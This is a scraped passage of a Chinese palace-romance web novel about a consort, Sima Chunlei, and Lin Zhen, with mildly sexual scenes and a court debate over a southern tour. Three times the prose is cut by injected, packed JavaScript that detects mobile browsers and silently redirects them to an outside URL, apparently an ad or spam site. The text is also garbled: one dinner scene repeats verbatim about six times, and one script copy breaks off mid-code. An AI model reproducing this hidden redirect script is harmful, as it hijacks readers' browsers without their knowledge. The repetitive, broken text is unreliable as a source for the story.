司马椿蕾盯着她看了一会儿松开手语气恢复了些许平淡:“看夫君的样子好像也没有收你的打算要不我把你送出去吧趁年轻也好寻个好人家。” 雪琪一听吓得连连磕头眼中泪光闪烁:“不娘娘就算不和世子行房奴婢也要陪伴您一生一世奴婢不走!” 她的声音带着哭腔满是坚定与决绝。 司马椿蕾本来冷酷的脸瞬间软了下来。 哼还算你这小妮子忠心。 “我不过是随口一说你紧张什么。”她伸手轻抚雪琪的发丝“放心吧只要有机会我会帮你的。夫君也不是冷血的人不会看着你孤独终老的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169108|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言罢司马椿蕾重新望向 窗外,思绪飘远,仿若又回到了初见林臻之时。 那天是夜晚,自己在跪拜的时候没有看到林臻的脸,只看到一个伟岸的背影。 后来他便藏进被窝里,对着自己勾了勾手指。 过来。 那一刻,司马椿蕾觉得自己的心都要跳出嗓子眼了。 从那以后,她一颗心全系在林臻身上。 雪琪见主子又陷入沉思,默默起身,站在一旁,不敢再言语打扰。 室内再度陷入寂静,只有烛火偶尔的噼啪声打破这份静谧。 良久,司马椿蕾轻声开口:“走,去偏殿,今日本宫要弹奏一曲。” 雪琪应了一声,快步拿来大氅披在她身上。 司马椿蕾移步至偏殿的琴案前,缓缓坐下,轻轻翻开琴谱。 她的手指轻抚琴弦,调试着音准,发出一阵悦耳的嗡嗡声。 随即深吸一口气,开始弹奏起来。 琴声悠悠,仿若山间清泉流淌,又似林间微风拂过,可细细听来,却饱含着无尽的哀愁与思念。 一曲终了,余音袅袅,司马椿蕾的眼角滑落一滴晶莹的泪珠,滴落在琴弦上,溅起小小的水花。 就在这时,宫外突然传来一阵细微的脚步声。 司马椿蕾心中一动,以为是林臻来了,忙起身整理妆容。 可等了片刻,却不见人进来。 原来是巡夜的侍卫路过。 她的眼神再度黯淡下去,重新坐回琴案前,手指无意识地在琴弦上拨弄着。 雪琪见状,心疼不已,轻声劝道:“娘娘,天色已晚,您还是早些歇息吧,莫要伤了身子。” 司马椿蕾摇了摇头:“我睡不着,你下去吧,让我一个人静一静。” 雪琪欲言又止,终是行了一礼,退了下去。 司马椿蕾独坐琴前,直至深夜,烛火渐熄,她才缓缓起身,拖着疲惫的身躯回到寝殿。 她掀开被子躺在床上,睁着眼睛,望着床顶的帷幔,脑海中依旧是林臻的身影。 她知道,这又是一个无眠之夜,而这样的夜晚,不知还要重复多少个。 突然,司马椿蕾感觉到有一只大手搂住了自己。 “椿儿,曲儿弹得不错。” 第362章 我只想做你的女人 司马椿蕾陡然一惊,瞬间睡意全无,心猛地提到了嗓子眼儿。下意识的就要挣扎呼喊。 “椿儿,曲儿弹得不错。” 熟悉的声音传来。 司马椿蕾转过头,借着朦胧月色,看清了来人。 竟是自己日思夜想的林臻。 那熟悉而又令她心动的面容,仿若一道光,瞬间驱散了她心头的恐惧,取而代之的是无尽的惊喜与安心。 她的眼眶一下子湿润了,晶莹的泪珠不受控制地夺眶而出,顺着脸颊缓缓滑落:“夫君.” 林臻见状,心中满是疼惜。 他微微倾身,吻去她脸颊上的泪痕,大手不停地拍打她的后背,低声呢喃道:“椿儿,你这是怎么了?” 林臻的声音里饱含着关切与深情。 司马椿蕾哽咽着,声音带着一丝委屈与娇嗔:“臣妾还以为夫君不会来了呢。” 那话语中的期盼与失落,在这寂静的夜里显得格外清晰。 林臻轻轻叹了口气,将她搂得更紧了些,下巴抵在她的头顶,温柔地说道:“为夫确实琐事缠身,可心里一直惦记着你呢,这不,我一得空就立刻过来了。” 司马椿蕾听到这暖心的话语,猛地翻身,双臂紧紧地搂住林臻脖颈,一条美腿也伸进他两个膝盖中央,禁锢住他挨着床榻的腿,仿佛要用尽全身的力气,将自己融入他的怀中。 她穿的是宽松的亵裤,抱着林臻的时候那精致小巧的脚丫也在林臻的脚踝上轻轻摩挲,也不知是勾引,还是在单纯地感受爱人的体温。 良久,司马椿蕾依旧藏在林臻的脖子里,吐气如兰的说道:“夫君,你知道吗?我曾经最大的愿望就是登上皇后之位,如此一来,便能为司马家铺就一条荣耀之路,让司马家成为大乾朝的顶流世家,受尽尊崇。” 她的声音轻柔却充满力量,每一个字都承载着对家族的期望与自己的抱负。 林臻默默地点头,心中泛起一阵涟漪。 他忽然意识到,自己平日里东奔西走地乱忙,竟从未这般静下心来,与怀中的佳人好好倾诉心肠。 他的目光中闪过一丝愧疚,但更多的却是对司马椿蕾的疼惜。 司马椿蕾顿了顿,抬起头,目光直直地望向林臻:“可是现在不同了,经历了这许多事情,臣妾渐渐明白,那些荣华富贵、至高权势,在臣妾心中都不及夫君的万分之一。臣妾不想当皇后了,只想做你的女人,哪怕只是一个普普通通的女人,守在你身边,每日粗茶淡饭,臣妾也心甘情愿。” 说着说着,她的眼眶又微微泛红,眼中的深情仿佛能将林臻淹没。 林臻心中一暖,抬起手,温柔地拍着司马椿蕾的美背,夹着她的大腿也开始上下轻抚,像是在安抚一只受伤的小鹿,柔声道:“傻瓜,你是注定要母仪天下的。除了你以外,任何人都没有资格当皇后。” 司马椿蕾轻轻点头,眼中闪烁着感动的泪光,她再次将脑袋埋进林臻的脖颈,温热的气息喷洒在他的肌肤上,带着一丝忐忑问道:“夫君,你会不会怪臣妾太势利了?” 林臻微微摇头,嘴角上扬,露出一抹宠溺的笑容:“怎么会呢?每个人都有自己的追求和梦想,只要是凭借自己的努力,光明正大地去追逐,又何来势利之说?我看中的,正是你这份对家族的担当与责任心。” 司马椿蕾闻言忍不住痴痴傻笑起来,搂紧林臻的手又加了几分力气。 多久了?两人又多久没这么安安静静地抱在一起了? 毫无邪念,毫无想法,浑身放松。 此时,月光如水,透过窗户倾洒而入,给室内镀上了一层银白的光辉。 司马椿蕾像是突然想起什么,扭头朝着门外喊道:“雪琪,快吩咐厨房准备些酒菜来,本宫要与夫君喝两杯。” “好啊,正巧我有些饿。” 林臻微笑点头,两人起身携手走向餐桌。 司马椿蕾莲步轻移,亵衣随着她的步伐轻轻摆动,隐隐露出她修长笔直的双腿,肌肤如羊脂玉般细腻。 走到桌前,她轻盈地侧身坐下,一条腿微微弯曲,将雪白的脚丫轻轻搭在旁边的椅子上,脚趾圆润可爱,仿若珍珠。 这一刻,林臻好像理解了芦德豪。 因为司马椿蕾的脚真的很美,很有观赏性。 要说在众多妻妾中,司马椿蕾不算最出色的。 她胸脯没有慕容嫣的宏伟;腿也没有刘妙颜的长;长相更是不及青霞。 但林臻也不知道为什么,她在自己心中同样有着不轻的地位。 不一会儿,雪琪便手脚麻利地将酒菜布好。 司马椿蕾拿起筷子,夹起一块色泽诱人的牛肉,轻轻递到林臻嘴边,眼中满是柔情,柔声道:“夫君,这是宫里厨子新琢磨出来的,您快尝尝。” 待林臻张口吃下,她又端起酒杯,亲自喂他饮酒,那专注的神情,仿若世间再无其他要事。 林臻心中柔情四溢,再也按捺不住,伸手将司马椿蕾轻轻抱起,让她在自己腿上。 司马椿蕾脸颊瞬间泛起 红晕,双腿自然垂下,有意无意地用脚趾轻轻蹭着林臻的腿,那细腻的触感让人心神荡漾。 林臻拿起酒杯,轻抿一口,目光始终未曾离开司马椿蕾的脸庞,轻声说道:“椿儿,这些日子委屈你了,但现在大乾正在经历百年未有的变局,很多事情都需要我亲力亲为。所以日后你若是想我,或者烦了累了,就出去走一走,看一看,或者去南边旅行,我派虎贲营保护你。” “臣妾还可以出宫吗?” “当然可以,我什么时候限制你的自由了?” “自由.”司马椿蕾从来没想过这个词儿。 三从四德紧紧束缚着大乾女子,何来自由的说法。 也只有在放荡不羁的林臻身上才能听到。 可是想着想着,司马椿蕾的小脸又落寞下去。 “唉,还是算了吧,这后宫里事情也不少,臣妾若是不在这里镇着,那些想飞上高枝的妃子还不反了天。” “没那么严重吧?” “有!夫君根本就不了解女人。那些妃子都是大臣家送进来的,都想着可以得到夫君的宠幸,从而让家族更进一步,为此,她们可以不择手段。” 林臻当初想得挺好,那就是把后宫妃子都睡个遍。 可真到那个时候,又没了这个心思。 女人不在多少,而在于质量,一个可以相信的爱人比一百个小妾都值钱。 林臻笑着将手放在她腿上,隔着亵裤慢慢游走,时而掐掐:“看来你也要保护好自己。” “夫君放心,因为没有人可以动臣妾的地位,她们也就不敢乱来,更何况这后宫里的宫女太监都要听臣妾的话,她们就算想使绊子也没用。” “还是小心些好,现在煊赫门与哈德门都在想办法将京城变成争夺利益的战场,甚至皇宫里也不是很安全,我提议以后你和缜儿都去嫣儿的寝殿里睡吧,我把颜颜派进来保护你们。这样慕容无舌看管外面,颜颜在里面,就算那些贼人有天大的能耐也无法伤害你们,等什么时候风声过了,再一切照旧。” “好~都听夫君的~来,张嘴,啊~~” 林臻避开司马椿蕾喂过来的青菜,直接一口咬在她的红唇上。 司马椿蕾激烈的回应,好像要用自己的香津填饱林臻的肚子。 一次长吻过后,司马椿蕾的脸颊愈发红润,仿若熟透的蜜桃,眼中波光粼粼,满是醉意与柔情。 她靠在林臻的怀里,手指轻轻在他的胸口画着圈,呢喃道:“夫君,臣妾还是想要个孩子。” “要,狠狠的要。” “可是肚子一直没动静呀,臣妾那天去王府的时候已经偷偷让孙神仙给看过了,没问题.” 说着说着司马椿蕾看向林臻,眼神挑逗又闪躲。 林臻虎着脸,一手掐住她的**,说道:“你是怀疑为夫有问题!?” “啊!没有没有,臣妾不是那个意思。” “好啊,看来你还真有这个意思,那今晚我们就看看谁有问题!” 言罢林臻抱起司马椿蕾,将她扔在床榻,扑了上去。 (此处省略一千五百字) 红晕,双腿自然垂下,有意无意地用脚趾轻轻蹭着林臻的腿,那细腻的触感让人心神荡漾。 林臻拿起酒杯,轻抿一口,目光始终未曾离开司马椿蕾的脸庞,轻声说道:“椿儿,这些日子委屈你了,但现在大乾正在经历百年未有的变局,很多事情都需要我亲力亲为。所以日后你若是想我,或者烦了累了,就出去走一走,看一看,或者去南边旅行,我派虎贲营保护你。” “臣妾还可以出宫吗?” “当然可以,我什么时候限制你的自由了?” “自由.”司马椿蕾从来没想过这个词儿。 三从四德紧紧束缚着大乾女子,何来自由的说法。 也只有在放荡不羁的林臻身上才能听到。 可是想着想着,司马椿蕾的小脸又落寞下去。 “唉,还是算了吧,这后宫里事情也不少,臣妾若是不在这里镇着,那些想飞上高枝的妃子还不反了天。” “没那么严重吧?” “有!夫君根本就不了解女人。那些妃子都是大臣家送进来的,都想着可以得到夫君的宠幸,从而让家族更进一步,为此,她们可以不择手段。” 林臻当初想得挺好,那就是把后宫妃子都睡个遍。 可真到那个时候,又没了这个心思。 女人不在多少,而在于质量,一个可以相信的爱人比一百个小妾都值钱。 林臻笑着将手放在她腿上,隔着亵裤慢慢游走,时而掐掐:“看来你也要保护好自己。” “夫君放心,因为没有人可以动臣妾的地位,她们也就不敢乱来,更何况这后宫里的宫女太监都要听臣妾的话,她们就算想使绊子也没用。” “还是小心些好,现在煊赫门与哈德门都在想办法将京城变成争夺利益的战场,甚至皇宫里也不是很安全,我提议以后你和缜儿都去嫣儿的寝殿里睡吧,我把颜颜派进来保护你们。这样慕容无舌看管外面,颜颜在里面,就算那些贼人有天大的能耐也无法伤害你们,等什么时候风声过了,再一切照旧。” “好~都听夫君的~来,张嘴,啊~~” 林臻避开司马椿蕾喂过来的青菜,直接一口咬在她的红唇上。 司马椿蕾激烈的回应,好像要用自己的香津填饱林臻的肚子。 一次长吻过后,司马椿蕾的脸颊愈发红润,仿若熟透的蜜桃,眼中波光粼粼,满是醉意与柔情。 她靠在林臻的怀里,手指轻轻在他的胸口画着圈,呢喃道:“夫君,臣妾还是想要个孩子。” “要,狠狠的要。” “可是肚子一直没动静呀,臣妾那天去王府的时候已经偷偷让孙神仙给看过了,没问题.” 说着说着司马椿蕾看向林臻,眼神挑逗又闪躲。 林臻虎着脸,一手掐住她的**,说道:“你是怀疑为夫有问题!?” “啊!没有没有,臣妾不是那个意思。” “好啊,看来你还真有这个意思,那今晚我们就看看谁有问题!” 言罢林臻抱起司马椿蕾,将她扔在床榻,扑了上去。 (此处省略一千五百字) 红晕,双腿自然垂下,有意无意地用脚趾轻轻蹭着林臻的腿,那细腻的触感让人心神荡漾。 林臻拿起酒杯,轻抿一口,目光始终未曾离开司马椿蕾的脸庞,轻声说道:“椿儿,这些日子委屈你了,但现在大乾正在经历百年未有的变局,很多事情都需要我亲力亲为。所以日后你若是想我,或者烦了累了,就出去走一走,看一看,或者去南边旅行,我派虎贲营保护你。” “臣妾还可以出宫吗?” “当然可以,我什么时候限制你的自由了?” “自由.”司马椿蕾从来没想过这个词儿。 三从四德紧紧束缚着大乾女子,何来自由的说法。 也只有在放荡不羁的林臻身上才能听到。 可是想着想着,司马椿蕾的小脸又落寞下去。 “唉,还是算了吧,这后宫里事情也不少,臣妾若是不在这里镇着,那些想飞上高枝的妃子还不反了天。” “没那么严重吧?” “有!夫君根本就不了解女人。那些妃子都是大臣家送进来的,都想着可以得到夫君的宠幸,从而让家族更进一步,为此,她们可以不择手段。” 林臻当初想得挺好,那就是把后宫妃子都睡个遍。 可真到那个时候,又没了这个心思。 女人不在多少,而在于质量,一个可以相信的爱人比一百个小妾都值钱。 林臻笑着将手放在她腿上,隔着亵裤慢慢游走,时而掐掐:“看来你也要保护好自己。” “夫君放心,因为没有人可以动臣妾的地位,她们也就不敢乱来,更何况这后宫里的宫女太监都要听臣妾的话,她们就算想使绊子也没用。” “还是小心些好,现在煊赫门与哈德门都在想办法将京城变成争夺利益的战场,甚至皇宫里也不是很安全,我提议以后你和缜儿都去嫣儿的寝殿里睡吧,我把颜颜派进来保护你们。这样慕容无舌看管外面,颜颜在里面,就算那些贼人有天大的能耐也无法伤害你们,等什么时候风声过了,再一切照旧。” “好~都听夫君的~来,张嘴,啊~~” 林臻避开司马椿蕾喂过来的青菜,直接一口咬在她的红唇上。 司马椿蕾激烈的回应,好像要用自己的香津填饱林臻的肚子。 一次长吻过后,司马椿蕾的脸颊愈发红润,仿若熟透的蜜桃,眼中波光粼粼,满是醉意与柔情。 她靠在林臻的怀里,手指轻轻在他的胸口画着圈,呢喃道:“夫君,臣妾还是想要个孩子。” “要,狠狠的要。” “可是肚子一直没动静呀,臣妾那天去王府的时候已经偷偷让孙神仙给看过了,没问题.” 说着说着司马椿蕾看向林臻,眼神挑逗又闪躲。 林臻虎着脸,一手掐住她的**,说道:“你是怀疑为夫有问题!?” “啊!没有没有,臣妾不是那个意思。” “好啊,看来你还真有这个意思,那今晚我们就看看谁有问题!” 言罢林臻抱起司马椿蕾,将她扔在床榻,扑了上去。 (此处省略一千五百字) 红晕,双腿自然垂下,有意无意地用脚趾轻轻蹭着林臻的腿,那细腻的触感让人心神荡漾。 林臻拿起酒杯,轻抿一口,目光始终未曾离开司马椿蕾的脸庞,轻声说道:“椿儿,这些日子委屈你了,但现在大乾正在经历百年未有的变局,很多事情都需要我亲力亲为。所以日后你若是想我,或者烦了累了,就出去走一走,看一看,或者去南边旅行,我派虎贲营保护你。” “臣妾还可以出宫吗?” “当然可以,我什么时候限制你的自由了?” “自由.”司马椿蕾从来没想过这个词儿。 三从四德紧紧束缚着大乾女子,何来自由的说法。 也只有在放荡不羁的林臻身上才能听到。 可是想着想着,司马椿蕾的小脸又落寞下去。 “唉,还是算了吧,这后宫里事情也不少,臣妾若是不在这里镇着,那些想飞上高枝的妃子还不反了天。” “没那么严重吧?” “有!夫君根本就不了解女人。那些妃子都是大臣家送进来的,都想着可以得到夫君的宠幸,从而让家族更进一步,为此,她们可以不择手段。” 林臻当初想得挺好,那就是把后宫妃子都睡个遍。 可真到那个时候,又没了这个心思。 女人不在多少,而在于质量,一个可以相信的爱人比一百个小妾都值钱。 林臻笑着将手放在她腿上,隔着亵裤慢慢游走,时而掐掐:“看来你也要保护好自己。” “夫君放心,因为没有人可以动臣妾的地位,她们也就不敢乱来,更何况这后宫里的宫女太监都要听臣妾的话,她们就算想使绊子也没用。” “还是小心些好,现在煊赫门与哈德门都在想办法将京城变成争夺利益的战场,甚至皇宫里也不是很安全,我提议以后你和缜儿都去嫣儿的寝殿里睡吧,我把颜颜派进来保护你们。这样慕容无舌看管外面,颜颜在里面,就算那些贼人有天大的能耐也无法伤害你们,等什么时候风声过了,再一切照旧。” “好~都听夫君的~来,张嘴,啊~~” 林臻避开司马椿蕾喂过来的青菜,直接一口咬在她的红唇上。 司马椿蕾激烈的回应,好像要用自己的香津填饱林臻的肚子。 一次长吻过后,司马椿蕾的脸颊愈发红润,仿若熟透的蜜桃,眼中波光粼粼,满是醉意与柔情。 她靠在林臻的怀里,手指轻轻在他的胸口画着圈,呢喃道:“夫君,臣妾还是想要个孩子。” “要,狠狠的要。” “可是肚子一直没动静呀,臣妾那天去王府的时候已经偷偷让孙神仙给看过了,没问题.” 说着说着司马椿蕾看向林臻,眼神挑逗又闪躲。 林臻虎着脸,一手掐住她的**,说道:“你是怀疑为夫有问题!?” “啊!没有没有,臣妾不是那个意思。” “好啊,看来你还真有这个意思,那今晚我们就看看谁有问题!” 言罢林臻抱起司马椿蕾,将她扔在床榻,扑了上去。 (此处省略一千五百字) 红晕,双腿自然垂下,有意无意地用脚趾轻轻蹭着林臻的腿,那细腻的触感让人心神荡漾。 林臻拿起酒杯,轻抿一口,目光始终未曾离开司马椿蕾的脸庞,轻声说道:“椿儿,这些日子委屈你了,但现在大乾正在经历百年未有的变局,很多事情都需要我亲力亲为。所以日后你若是想我,或者烦了累了,就出去走一走,看一看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她靠在林臻的怀里,手指轻轻在他的胸口画着圈,呢喃道:“夫君,臣妾还是想要个孩子。” “要,狠狠的要。” “可是肚子一直没动静呀,臣妾那天去王府的时候已经偷偷让孙神仙给看过了,没问题.” 说着说着司马椿蕾看向林臻,眼神挑逗又闪躲。 林臻虎着脸,一手掐住她的**,说道:“你是怀疑为夫有问题!?” “啊!没有没有,臣妾不是那个意思。” “好啊,看来你还真有这个意思,那今晚我们就看看谁有问题!” 言罢林臻抱起司马椿蕾,将她扔在床榻,扑了上去。 (此处省略一千五百字) 红晕,双腿自然垂下,有意无意地用脚趾轻轻蹭着林臻的腿,那细腻的触感让人心神荡漾。 林臻拿起酒杯,轻抿一口,目光始终未曾离开司马椿蕾的脸庞,轻声说道:“椿儿,这些日子委屈你了,但现在大乾正在经历百年未有的变局,很多事情都需要我亲力亲为。所以日后你若是想我,或者烦了累了,就出去走一走,看一看,或者去南边旅行,我派虎贲营保护你。” “臣妾还可以出宫吗?” “当然可以,我什么时候限制你的自由了?” “自由.”司马椿蕾从来没想过这个词儿。 三从四德紧紧束缚着大乾女子,何来自由的说法。 也只有在放荡不羁的林臻身上才能听到。 可是想着想着,司马椿蕾的小脸又落寞下去。 “唉,还是算了吧,这后宫里事情也不少,臣妾若是不在这里镇着,那些想飞上高枝的妃子还不反了天。” “没那么严重吧?” “有!夫君根本就不了解女人。那些妃子都是大臣家送进来的,都想着可以得到夫君的宠幸,从而让家族更进一步,为此,她们可以不择手段。” 林臻当初想得挺好,那就是把后宫妃子都睡个遍。 可真到那个时候,又没了这个心思。 女人不在多少,而在于质量,一个可以相信的爱人比一百个小妾都值钱。 林臻笑着将手放在她腿上,隔着亵裤慢慢游走,时而掐掐:“看来你也要保护好自己。” “夫君放心,因为没有人可以动臣妾的地位,她们也就不敢乱来,更何况这后宫里的宫女太监都要听臣妾的话,她们就算想使绊子也没用。” “还是小心些好,现在煊赫门与哈德门都在想办法将京城变成争夺利益的战场,甚至皇宫里也不是很安全,我提议以后你和缜儿都去嫣儿的寝殿里睡吧,我把颜颜派进来保护你们。这样慕容无舌看管外面,颜颜在里面,就算那些贼人有天大的能耐也无法伤害你们,等什么时候风声过了,再一切照旧。” “好~都听夫君的~来,张嘴,啊~~” 林臻避开司马椿蕾喂过来的青菜,直接一口咬在她的红唇上。 司马椿蕾激烈的回应,好像要用自己的香津填饱林臻的肚子。 一次长吻过后,司马椿蕾的脸颊愈发红润,仿若熟透的蜜桃,眼中波光粼粼,满是醉意与柔情。 她靠在林臻的怀里,手指轻轻在他的胸口画着圈,呢喃道:“夫君,臣妾还是想要个孩子。” “要,狠狠的要。” “可是肚子一直没动静呀,臣妾那天去王府的时候已经偷偷让孙神仙给看过了,没问题.” 说着说着司马椿蕾看向林臻,眼神挑逗又闪躲。 林臻虎着脸,一手掐住她的**,说道:“你是怀疑为夫有问题!?” “啊!没有没有,臣妾不是那个意思。” “好啊,看来你还真有这个意思,那今晚我们就看看谁有问题!” 言罢林臻抱起司马椿蕾,将她扔在床榻,扑了上去。 (此处省略一千五百字) 红晕,双腿自然垂下,有意无意地用脚趾轻轻蹭着林臻的腿,那细腻的触感让人心神荡漾。 林臻拿起酒杯,轻抿一口,目光始终未曾离开司马椿蕾的脸庞,轻声说道:“椿儿,这些日子委屈你了,但现在大乾正在经历百年未有的变局,很多事情都需要我亲力亲为。所以日后你若是想我,或者烦了累了,就出去走一走,看一看,或者去南边旅行,我派虎贲营保护你。” “臣妾还可以出宫吗?” “当然可以,我什么时候限制你的自由了?” “自由.”司马椿蕾从来没想过这个词儿。 三从四德紧紧束缚着大乾女子,何来自由的说法。 也只有在放荡不羁的林臻身上才能听到。 可是想着想着,司马椿蕾的小脸又落寞下去。 “唉,还是算了吧,这后宫里事情也不少,臣妾若是不在这里镇着,那些想飞上高枝的妃子还不反了天。” “没那么严重吧?” “有!夫君根本就不了解女人。那些妃子都是大臣家送进来的,都想着可以得到夫君的宠幸,从而让家族更进一步,为此,她们可以不择手段。” 林臻当初想得挺好,那就是把后宫妃子都睡个遍。 可真到那个时候,又没了这个心思。 女人不在多少,而在于质量,一个可以相信的爱人比一百个小妾都值钱。 林臻笑着将手放在她腿上,隔着亵裤慢慢游走,时而掐掐:“看来你也要保护好自己。” “夫君放心,因为没有人可以动臣妾的地位,她们也就不敢乱来,更何况这后宫里的宫女太监都要听臣妾的话,她们就算想使绊子也没用。” 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他身形微胖,此刻却眉头紧锁,忧心忡忡地谏言:“陛下,南巡之事耗费巨大,且当下府库空虚,诸多民生工程尚缺资金维系,实难承担这次南巡的开销啊。臣恳请陛下收回成命,先以充盈国库、改善民生为要。 工部尚书宋正林紧接着上前一步,拱手说道:“陛下,臣附议。且不说费用问题,如今乾楚大战刚刚结束,各地道路桥梁损毁严重,虽有抢修,可难保途中不会遭遇意外。陛下万金之躯,万一有所闪失,臣等万死莫赎。还望陛下三思。 然而,兵部尚书刘恺威却不这么认为。 他走出队列高声道:“陛下圣明,此举体恤民情,必能恩泽四海。陛下亲临地方,既能让百姓感受到皇恩浩荡,又可实地考察官员政绩,激励地方发展,实乃江山社稷之福。臣全力支持陛下南巡。 “刘尚书,你安得这是什么心?陛下万金之躯岂能脚踏贱地! “哦?难道我大乾的土地都是贱的吗? “你少在这强词夺理,陛下的安全你如何负责!现在大乾刚刚结束战争,很多事情都需要陛下旨意,岂能无故离开京城! 一时间,朝堂之上争论不休,支持与反对之声 此起彼伏。 就在僵持不下之际,林震仙稳步出列,开口道:“陛下体恤民情,此乃大善之举,实是江山社稷之福。然为保陛下万全,依老臣之见,必须带上京都二卫与虎贲营,方可万无一失。” 朝堂上瞬间安静了下来。 几位老臣都是怒气冲冲地看着林震仙,却不敢再言语。 没办法,现在的大乾武官强,文官弱,嘴杆子打不过枪杆子。 慕容嫣微微颔首,目光扫视群臣,继而说道:“既如此,南巡期间,朝中一应大小事务就交由摄政王全权处理,并且告诉林臻,与朕同行。” “老臣遵旨。” 彼时,林臻还在司马椿蕾的寝宫中。 他悠悠转醒,慵懒地伸了个懒腰,忽然感觉到有一只滑滑的手摸向自己胸口,还胡乱地画着圈圈。 林臻坏笑着看向司马椿蕾,却见美人脸上没有一丝幸福的样子,反而带着许多担忧。 “椿儿,怎么了?” “夫君,您这胸口是怎么弄的?以前可是没有的。” “哦,没事,战场受伤。” “那臣妾怎么不知道?” “我没告诉你,你当然不知道了。” 司马椿蕾岂是那么好糊弄的,气鼓鼓地冷哼一声,转过去,只留给林臻一个完美无瑕的背影。 林臻伸手过去******。 司马椿蕾扭捏两下,便不动了。 林臻知道她是在气自己不告诉她,于是解释道:“椿儿,很多事情并非是为夫刻意瞒着你,而是解释不通,你放心,这道伤疤对我而言,没有坏处,只有好处。” “夫君骗人!” “才没有呢。”林臻正在细细品味着那惊人的触感,却见雪琪从外面走进来。 见到两人都赤条条地躺在床上,还是那样的姿势,顿时闹了个大红脸。 司马椿蕾赶紧用被子盖住身体,竖起柳叶眉,呵斥道:“大胆!谁让你进来的!” 雪琪吓得跪了下去,说道:“回娘娘,刚刚无舌公公过来传旨,说陛下决定明日南巡,要.要世子陪着一起去。” “哈?” 林臻闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177142|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言先是一愣,随即脑海中瞬间闪过一个念头。 这慕容嫣该不是故意的吧?知道自己没几天就要与上官婉儿结婚了,所以要带着我去旅行? 咋的?不想让我好好结婚? “知道了,你出去吧。” “是。” 司马椿蕾见雪琪走了出去,掀开被子站 了起来,连忙把林臻的衣服都拿过来放到床边。 “夫君,不管陛下是什么意思,这当众宣布的旨意,总是要执行的,您快起来穿衣服吧。” “你不生气了?” “臣妾哪里是生气,臣妾只是有些心疼夫君嘛” 乖。 这种对外人狠辣,对自己温柔的女人,最招人喜欢了。 林臻起身,张开双手。 司马椿蕾什么也不穿就这么开始给林臻穿衣服,冬日里的寝宫里微微有些凉意,让她浑身忍不住的发抖。 林臻见状,一把将她搂进怀里。 “哎呀夫君,还没穿完呢。” “叫雪琪进来穿吧,你快躺下。” 言罢林臻不由分说直接把司马椿蕾扔在床上。 这动作可是把她吓了一跳。 “啊!夫君,你好大力呢。” 林臻看了看自己的手,也觉得有些奇怪。 自己的力气.好像越来越大了。 且不说昨天撞得司马椿蕾腰膝酸软,就刚刚这一下,换做以前的自己根本不可能。 难道说真是噬心蛊的原因? 这玩意这么神奇么? 林臻放下手,却见司马椿蕾醉眼迷离地看着自己。 小妮子肯定也是因为刚刚的那句话想到昨天晚上的事儿了,他笑着说:“要不你跟着我们一起去?” 司马椿蕾犹豫了一下,还是摇摇头:“唉,臣妾也确实想去,可这后宫诸事繁杂,实在脱不开身。” 她那双美眸里满是哀怨。 林臻心疼地看着她,略一思索,说道:“要不我喊两个人进来帮你吧,光是缜儿一个,估计也忙不过来。” 司马椿蕾再次摇头:“不行的,外面进来的女人信不过,若是夫君的妻妾们,估计她们也不想进宫来,还是等以后慢慢寻吧。” 林臻见她如此坚持,也只好点头,又叮嘱了几句,便匆匆离开皇宫,回了王府。 第364章 这一路,你得好好陪着朕 王府内,林震仙正负手在书房踱步,神色略显凝重。 林臻一进门,便察觉到老头的异样,走上前去,轻声问道:“祖父,您这是怎么了?” 林震仙停下脚步,脸色有些难看:“臭小子,以后少夜宿皇宫!这若是传出去,百姓还以为摄政王是佞臣,天天欺负皇族呢。” 林臻闻言,尴尬地摸了摸鼻子。 “我也想走,可是陛下不让啊。” 林震仙气得吹胡子瞪眼睛:“那你就这么惯着她!?王府的名声不要了?” “祖父,你这可不像忠臣说出来的话啊,陛下的旨意我们做臣子的哪能拒绝?” “你少给老夫卖狗皮膏药!小王八犊子,你要是给陛下搞怀孕了,老夫看你怎么收场!” 这. 老爷子今天的状态有点不对啊。 说话怎么这么糙呢?难道说是看着自己重孙子要当皇帝了,兴奋?所以对皇权不是很尊重了? 林臻说道:“祖父,您这么着急,应该不是问这个吧?” 林震仙一拍脑门。 “奶奶的,都让你给老夫气糊涂了。你说说看,这次陛下南巡到底是何用意?怎么好端端的突然就要南巡了呢?” 林臻略作沉吟,缓缓说道:“依我看原因有二。第一肯定是京城的官员都处理得差不多了,而陛下又缺钱用,所以打算下地方视察下那些官员,看看百姓是否安居乐业,毕竟她总觉得在皇宫里听到的消息不真实。 其二嘛,她大概也是小女人的心思在作祟,不想参加我的婚礼,所以才拿南巡当借口。不过话说回来,陛下南巡这件事对百姓和大乾江山而言,是件好事。陛下亲临地方,亲眼目睹民生疾苦、各地风貌,日后制定政策,便能有的放矢,更贴合实际需求。” 林震仙听后,微微点头,眼中流露出一丝认可。 旋即转身,对一旁的曹雄下令:“去,传话下去,集结京中二卫和虎贲营,护卫陛下南巡,明日启程。” “是!”曹雄领命而去,书房内又陷入了短暂的寂静。 因为林臻要随慕容嫣南巡,消息传开,王府里又开始忙活起来。 